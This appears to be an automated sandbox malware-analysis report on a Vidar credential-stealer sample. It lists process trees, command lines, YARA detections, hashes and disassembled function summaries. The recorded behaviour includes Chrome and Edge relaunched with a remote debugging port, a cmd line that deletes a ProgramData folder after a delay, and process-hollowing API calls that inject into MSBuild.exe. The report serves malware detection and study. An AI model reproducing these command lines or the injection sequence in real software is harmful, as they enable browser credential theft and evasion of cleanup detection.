Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: infostealer_win_vidar_strings_nov23, Description: Finds Vidar samples based on the specific strings, Source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Sekoia.io
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:19:57
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6408 -s 372
Imagebase:	0xfa0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:20:14
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:20:15
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2304,i,13937775269766581777,3924065134902446641,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:20:30
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:20:31
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	02:20:31
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2636,i,10720928867294864621,14474913477084532862,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:20:31
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	02:20:35
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6544 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:20:35
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6728 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:21:09
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\TRQ9ZCBA1N7Q" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:21:09
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:21:09
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xdb0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:21:31
Start date:	27/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6640 --field-trial-handle=2124,i,17907551235246420035,16935429163833777043,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.4%
Total number of Nodes:	295
Total number of Limit Nodes:	3

Executed Functions

Function 008AC19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,008AC110,008AC100), ref: 008AC334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 008AC347
Wow64GetThreadContext.KERNEL32(0000015C,00000000), ref: 008AC365
ReadProcessMemory.KERNELBASE(00000160,?,008AC154,00000004,00000000), ref: 008AC389
VirtualAllocEx.KERNELBASE(00000160,?,?,00003000,00000040), ref: 008AC3B4
TerminateProcess.KERNELBASE(00000160,00000000), ref: 008AC3D3
WriteProcessMemory.KERNELBASE(00000160,00000000,?,?,00000000,?), ref: 008AC40C
WriteProcessMemory.KERNELBASE(00000160,00400000,?,?,00000000,?,00000028), ref: 008AC457
WriteProcessMemory.KERNELBASE(00000160,?,?,00000004,00000000), ref: 008AC495
Wow64SetThreadContext.KERNEL32(0000015C,00860000), ref: 008AC4D1
ResumeThread.KERNELBASE(0000015C), ref: 008AC4E0

Strings

ress, xrefs: 008AC226
ResumeThread, xrefs: 008AC2D8
aryA, xrefs: 008AC1E2
VirtualAlloc, xrefs: 008AC263
TerminateProcess, xrefs: 008AC3C3
SetThreadContext, xrefs: 008AC2C2
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 008AC333
ReadProcessMemory, xrefs: 008AC289
Load, xrefs: 008AC1DA
GetThreadContext, xrefs: 008AC276
VirtualAllocEx, xrefs: 008AC29C
WriteProcessMemory, xrefs: 008AC2AF
GetP, xrefs: 008AC21E
CreateProcessW, xrefs: 008AC250

Memory Dump Source

Source File: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 53cd534a0cd211e13335d22cdf7a44973073bee7827ecab4e7dedcacad932fba
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 65B1F67264024AAFDB60CF68CC80BDAB3A5FF89714F158124EA08EB741D774FA51CB94

Function 00871870 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 008718F3
GetFileSize.KERNEL32 ref: 00871922
CloseHandle.KERNEL32 ref: 0087193E

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 1a5fb7a751e4f6b806cbfd7930f3d9dcb982825c2729079abbe781554af49628
Instruction ID: 7a13ff80895e2b6a7bde2d1b6f9783480a1c6e825921638a39a22a19c4507510
Opcode Fuzzy Hash: 1a5fb7a751e4f6b806cbfd7930f3d9dcb982825c2729079abbe781554af49628
Instruction Fuzzy Hash: B3719AB4D042488FDB04EFA8D59879DBBF0FF48304F10842AE899EB794D734A949CB52

Function 00877D50 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 00877EB0
_strcspn.LIBCMT ref: 00877EDE

Strings

@, xrefs: 008781A9

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 0c0c8cfd04163be98a3ddeb29c4910886366f96bc36473e7769ae102ff3bda12
Instruction ID: b452455db2e0b8ffe328b497ac1c81f7273d8e7aec0bca7ab0408f2e635428c4
Opcode Fuzzy Hash: 0c0c8cfd04163be98a3ddeb29c4910886366f96bc36473e7769ae102ff3bda12
Instruction Fuzzy Hash: DC32B4B4904669CFCB24DF68C981A9DBBF1FF49300F05859AE84DA7305E734AA85CF52

Function 00871710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 0087177B
VirtualProtect.KERNELBASE ref: 0087182B

Strings

@, xrefs: 0087181F

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: aa27cdf6789b68c56003f1e843612b8b590ba95354b31d6fb79fe17e8ebd4e56
Instruction ID: bfc3746abc532cd822754c32606c506401ad739eefe9923388f39b1937903069
Opcode Fuzzy Hash: aa27cdf6789b68c56003f1e843612b8b590ba95354b31d6fb79fe17e8ebd4e56
Instruction Fuzzy Hash: 3841AEB0D05208DFDB04EFA9E88869EBBF0FF48344F118829E458AB351D775A944CF96

Function 00871C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EqualPrefixSid.ADVAPI32 ref: 00871C4B

Strings

@Ju, xrefs: 00871C4B

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: EqualPrefix
String ID: @Ju
API String ID: 447727826-501080590
Opcode ID: c896bbb809726ccfc3fb372ed5d8ffcbe8c71f244fff171d77eeff2f2d5ba7bd
Instruction ID: 152541273768f68b17eba0afa43387173f17504bf4710f8bd2f4e8748a578276
Opcode Fuzzy Hash: c896bbb809726ccfc3fb372ed5d8ffcbe8c71f244fff171d77eeff2f2d5ba7bd
Instruction Fuzzy Hash: CF01E4749002089FCB00FFA8D9597AEBBF4FF14304F408469E459E7351EB74AA08CB92

Function 00897FBC Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00898366: GetConsoleOutputCP.KERNEL32(A9416E27,00000000,00000000,?), ref: 008983C9

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00888191,?,008883F3), ref: 00898141
GetLastError.KERNEL32(?,00888191,?,008883F3,?,008883F3,?,?,?,?,?,?,?,?,?,?), ref: 0089814B

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 5b01642e4f222efe2d1c3c1cebd53c63d94003485ec9cfb1378bfc583a78803a
Instruction ID: e51b7659184716c0789782dcc9924d7bd420a3d263a9316f1b7875be0e49f2f5
Opcode Fuzzy Hash: 5b01642e4f222efe2d1c3c1cebd53c63d94003485ec9cfb1378bfc583a78803a
Instruction Fuzzy Hash: D061917190411AEFDF15EFA8CC45AAEBBB9FF0A308F180155E904E7212DB32D905CBA1

Function 00898795 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00898127,?,008883F3,?,?,?,00000000), ref: 00898831
GetLastError.KERNEL32(?,00898127,?,008883F3,?,?,?,00000000,?,?,?,?,?,00888191,?,008883F3), ref: 00898857

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1142ec2c7d137078c4c05d6ec0bbc84fe8b0a8709b53e5d5ae3230ae3d22536b
Instruction ID: fce402dff438f35b3ceefe510595d506624d535cec06e2bce84129494882ba44
Opcode Fuzzy Hash: 1142ec2c7d137078c4c05d6ec0bbc84fe8b0a8709b53e5d5ae3230ae3d22536b
Instruction Fuzzy Hash: 65218035A0021DDBCF19EF69DD809E9B7BAFF4A305B2444A9E90AD7211DB309D42CB64

Function 00891F19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00891E08,008AB810), ref: 00891F65
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00891E08,008AB810), ref: 00891F77

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 09c4f793f9546c04ef5a93e8ea9460501be22a39aec541539840651727798b3e
Instruction ID: 47760567f2901e63fc229f2e1c2975e54519a08091404bc82a8df21373b072bc
Opcode Fuzzy Hash: 09c4f793f9546c04ef5a93e8ea9460501be22a39aec541539840651727798b3e
Instruction Fuzzy Hash: 1411723160C74A4ADF346A3D8CCC622BA94F796374B3C0719E1BAD69F1CB30D946D241

Function 00871B80 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00871BA8
GetModuleFileNameA.KERNEL32 ref: 00871BC8

Part of subcall function 00871870: CreateFileA.KERNELBASE ref: 008718F3

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: 2e5d24bf8cfd9249068823cc3d73dbd69d4f0c9b65862eef355ba1e06b47c109
Instruction ID: 6ae624ac26e00fdeafd2c6a4288b62a3b2c4402e9789b1b9d11431ec693b3af1
Opcode Fuzzy Hash: 2e5d24bf8cfd9249068823cc3d73dbd69d4f0c9b65862eef355ba1e06b47c109
Instruction Fuzzy Hash: A5F0F9B09042088FDB54EFB8D94929DBBF4BB15300F4084A99489D3650EB749988CF82

Function 00890487 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,008946B0,?,00000000,?,?,00894350,?,00000007,?,?,00894C96,?,?), ref: 0089049D
GetLastError.KERNEL32(?,?,008946B0,?,00000000,?,?,00894350,?,00000007,?,?,00894C96,?,?), ref: 008904A8

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2235026a7bb9dbe49f35c8ab646692a6268bc1524dc4600a50c3880d20df1b12
Instruction ID: 94dafae41703cea881a1b945db6b913981b569c594176bfb2931c16d148fff20
Opcode Fuzzy Hash: 2235026a7bb9dbe49f35c8ab646692a6268bc1524dc4600a50c3880d20df1b12
Instruction Fuzzy Hash: B9E08631500704AFDF117BE4EC09B993A68FF51755F144025F70CC6460D7388840CB99

Function 0088294E Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83d2f0644a8b5aa525ee1ef61181f3adce4362ce6ed6f26b7d162268c1ba2cab
Instruction ID: 59f2bb1a14942077cfc75a4aca0c71c185fe9d21b51ff4d4b6e407975495f848
